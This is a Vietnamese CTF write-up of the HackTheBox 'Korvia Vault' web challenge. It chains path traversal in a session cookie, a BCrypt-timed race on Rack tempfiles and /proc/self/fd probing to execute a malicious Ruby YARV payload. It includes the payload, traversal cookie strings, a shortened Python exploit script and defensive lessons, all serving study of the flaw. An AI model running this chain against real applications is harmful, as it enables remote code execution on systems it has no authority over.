0

Lần đầu tiên tôi đã giải được CTF web challenge với độ khó địa ngục (cùng với AI)

Writeup: Korvia Vault — HackTheBox Business CTF 2026


Bối cảnh

Global Cyber Skills Benchmark CTF 2026: Project Nightfall vừa kết thúc được vài giờ và như tiêu đề bài viết, lần đầu tiên mình đã giải được CTF web challenge với độ khó địa ngục (insanse) nên mình viết luôn bài writeup này. Không thể phủ nhận vai trò của AI trong việc hỗ trợ mình giải challenge này nhưng tất nhiên không phải cứ tải source code về rồi bảo AI giải là thành công được, bằng chứng là chỉ chưa tới 100 team giải được challenge này trong tổng số 588 team tham gia. Nếu bạn đọc muốn tự thử sức với challenge này thì After-Party Event vẫn có sẵn trong 2 ngày nữa.


Tổng quan

Korvia Vault là một web challenge yêu cầu người chơi khai thác một ứng dụng web viết bằng Ruby để thực thi lệnh tùy ý (Remote Code Execution — RCE) và đọc file flag.

Stack kỹ thuật:

  • Web server: Ruby Sinatra + Puma (web server đa luồng)
  • Reverse proxy: Nginx
  • Xác thực: BCrypt (hàm băm mật khẩu)
  • Môi trường: Docker container trên Linux

Mục tiêu: Thực thi lệnh readflag (binary đặc quyền) và đọc nội dung flag.


Phân tích mã nguồn

1. Cơ chế session

Ứng dụng lưu phiên đăng nhập (session) bằng cách ghi file vào thư mục /opt/external-app/sessions/. Mỗi session được lưu dưới dạng YARV bytecode — định dạng mã máy của Ruby (giống như .class file của Java).

Khi người dùng truy cập /dashboard, ứng dụng đọc cookie session, sau đó tải file session tương ứng và thực thi nó:

# app.rb (đơn giản hóa)
def load_session(session_id)
  session_file = File.join(sessions_dir, session_id)  # LỖ HỔNG Ở ĐÂY
  return nil unless File.exist?(session_file)
  iseq = RubyVM::InstructionSequence.load_from_binary(File.binread(session_file))
  iseq.eval  # Thực thi bytecode Ruby!
rescue
  nil
end

Vấn đề: session_id lấy trực tiếp từ cookie của người dùng mà không kiểm tra xem nó có chứa ký tự .. (đi lên thư mục cha) hay không.

2. Lỗ hổng #1 — Path Traversal (Đi lạc thư mục)

Path Traversal là kỹ thuật dùng ../ để "leo" ra khỏi thư mục được cho phép.

Ví dụ: Nếu sessions được lưu ở /opt/external-app/sessions/ và ta gửi cookie:

session=../../../tmp/evil.yarv|CHU_KY

Thì ứng dụng sẽ ghép đường dẫn:

/opt/external-app/sessions/../../../tmp/evil.yarv

Hệ điều hành giải mã .. và kết quả là:

/tmp/evil.yarv  ← file tùy ý!

Vậy ta có thể trỏ session về bất kỳ file nào trên hệ thống để ứng dụng đọc và thực thi nó như mã Ruby.

3. Bài toán: Đưa file độc hại vào server như thế nào?

Ta cần đặt một file YARV độc hại ở đường dẫn mà ta có thể đoán trước. Ứng dụng không có chức năng upload file trực tiếp, nhưng có một cơ chế ẩn:

Rack Multipart Tempfile — khi gửi form upload file qua HTTP, web framework Rack (nền tảng của Sinatra) tự động tạo file tạm/tmp/RackMultipartXXXXXX.yarv. File này tồn tại trong bộ nhớ miễn là request đó chưa xử lý xong.

4. Lỗ hổng #2 — Race Condition (Điều kiện tranh chấp)

Race condition xảy ra khi hai việc cùng xảy ra đồng thời và kết quả phụ thuộc vào cái nào chạy trước.

Ứng dụng dùng BCrypt để xác minh mật khẩu — đây là thuật toán cố ý chậm (~500ms) để chống brute-force. Trong 500ms đó, file tạm của Rack vẫn đang mở.

Ý tưởng tấn công:

Luồng A (POST /login):    [Tạo file tạm evil.yarv] ──[500ms BCrypt]──> [Xóa file tạm]
Luồng B (GET /dashboard): ────────────────────────> [Đọc file tạm!]

Nếu Luồng B truy cập đúng lúc file tạm đang mở → ứng dụng thực thi mã độc của ta!

5. Giải quyết bài toán đường dẫn: /proc/self/fd

Vấn đề mới: File tạm của Rack có tên ngẫu nhiên (RackMultipartABC123), ta không thể đoán được. Nhưng Linux có một cơ chế đặc biệt:

/proc/self/fd/ là thư mục ảo liệt kê tất cả file descriptors (tay nắm file) đang mở của tiến trình hiện tại.

Puma (web server) chạy theo mô hình đơn tiến trình + đa luồng: tất cả các request đều được xử lý bởi các luồng trong cùng một tiến trình. Vì vậy:

  • Luồng A mở file tạm → file descriptor đó thuộc về tiến trình Puma (ví dụ: fd số 12)
  • Luồng B truy cập /proc/self/fd/12 → đây chính là file tạm của Luồng A!

Ta không cần biết tên ngẫu nhiên của file, chỉ cần dò từ fd số 3 đến 100 để tìm đúng file descriptor.


Chuỗi khai thác (Exploit Chain)

┌─────────────────────────────────────────────────────────────┐
│                    EXPLOIT CHAIN                            │
│                                                             │
│  1. Đăng ký & đăng nhập với tài khoản "alice"               │
│     → Lấy chữ ký hợp lệ từ cookie                           │
│                                                             │
│  2. Tạo evil.yarv — file YARV thực thi lệnh:                │
│     system("readflag > /opt/external-app/public/flag.txt")  │
│                                                             │
│  3. Gửi POST /login với 20 bản sao evil.yarv                │
│     + mật khẩu SAI → BCrypt chạy 500ms                      │
│     → 20 file tạm được mở đồng thời (fd 10–30)              │
│                                                             │
│  4. Đồng thời: GET /dashboard với cookie:                   │
│     ../../../proc/self/fd/{N}|CHU_KY                        │
│     Thử lần lượt N = 3, 4, 5, ..., 100                      │
│                                                             │
│  5. Khi N = 12 → load_session đọc evil.yarv → THỰC THI!     │
│     readflag ghi flag vào public/flag.txt                   │
│                                                             │
│  6. GET /flag.txt → ĐỌC FLAG                                │
└─────────────────────────────────────────────────────────────┘

Chi tiết kỹ thuật

evil.yarv — Payload Ruby

File YARV được compile từ đoạn code Ruby:

{
  username: "alice",
  session_id: "x",
  created_at: "2026-01-01T00:00:00Z",
  valid: true,
  _: system("readflag > /opt/external-app/public/flag.txt")
}

Tại sao dùng system() thay vì backtick?

  • Backtick (`readflag`) tạo pipe để bắt output — trong môi trường đa luồng của Puma, điều này gây deadlock (tất cả luồng bị treo vĩnh viễn)
  • system() chạy lệnh trực tiếp không qua pipe → an toàn với đa luồng

Tại sao trả về hash {username: "alice", ...}? Sau khi load_session thực thi YARV, ứng dụng kiểm tra session_data[:username] và xác minh chữ ký. File evil.yarv phải trả về đúng cấu trúc để vượt qua kiểm tra này.

Chiến thuật 20 file

Mỗi lần POST, ta đính kèm 20 bản sao evil.yarv → Rack mở 20 file tạm đồng thời → 20 file descriptors liên tiếp đang mở (ví dụ fd 10, 11, 12, ..., 29). Điều này tăng đáng kể xác suất "bắn trúng" trong một lần probe.

Giới hạn số luồng thăm dò (WORKERS = 3)

Puma có tối đa 5 luồng. Ta dùng tối đa 3 luồng để thăm dò, giữ lại 2 luồng để Puma vẫn nhận request POST (tạo file tạm). Nếu dùng nhiều hơn → Puma bị nghẽn → request POST không xử lý được.

Exploit script (rút gọn)

# Gửi 20 bản sao evil.yarv trong một request multipart
def post_multipart(username):
    with open("evil.yarv", "rb") as f:
        data = f.read()
    files = [
        ("username", (None, username)),
        ("password", (None, "pass123!WRONG")),  # sai mật khẩu → BCrypt vẫn chạy
    ]
    for i in range(20):
        files.append((f"f{i}", (f"x{i}.yarv", data, "application/octet-stream")))
    requests.post(f"{TARGET}/login", files=files, timeout=15)

# Thăm dò /proc/self/fd/{fd}
def probe_self_fd(sig, fd):
    cookie = f"../../../proc/self/fd/{fd}|{sig}"
    r = requests.get(f"{TARGET}/dashboard",
                     cookies={"session": cookie},
                     timeout=8)
    return r.status_code == 200  # 200 = YARV hợp lệ đã được thực thi

Kết quả

[STEP 3a] Race – /proc/self/fd (20 tempfiles, fd range 3-100)
  Round 1/30 … HIT fd=12

[STEP 4] Waiting for Puma to drain, then reading /flag.txt …

============================================================
  FLAG: HTB{w3lc0me_m45t3r_0f_4ll_v4ult}
============================================================

Nhờ chiến thuật /proc/self/fd — ta không cần dò PID, giảm không gian tìm kiếm từ ~51.000 tổ hợp xuống còn 98.


Tóm tắt các lỗ hổng

# Lỗ hổng Vị trí Tác động
1 Path Traversal load_session() — không lọc ../ trong session_id Đọc/thực thi file tùy ý
2 Arbitrary Code Execution iseq.eval — thực thi YARV không kiểm tra nguồn gốc RCE hoàn toàn
3 Race Condition BCrypt 500ms window + Rack tempfile Ghi file tạm vào đường dẫn có thể khai thác
4 Thông tin tiến trình lộ /proc/self/fd truy cập được qua path traversal Bỏ qua tên file ngẫu nhiên

Bài học rút ra

  1. Không bao giờ dùng input người dùng trực tiếp vào đường dẫn file — luôn kiểm tra và làm sạch ký tự ../
  2. Thực thi bytecode từ file là cực kỳ nguy hiểm nếu đường dẫn không được kiểm soát chặt
  3. Race condition không chỉ là lỗi lý thuyết — BCrypt timing window đủ rộng để khai thác qua mạng WAN
  4. Mô hình đơn tiến trình + đa luồng chia sẻ fd table, vô tình tạo ra primitive /proc/self/fd mạnh mẽ cho attacker

All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí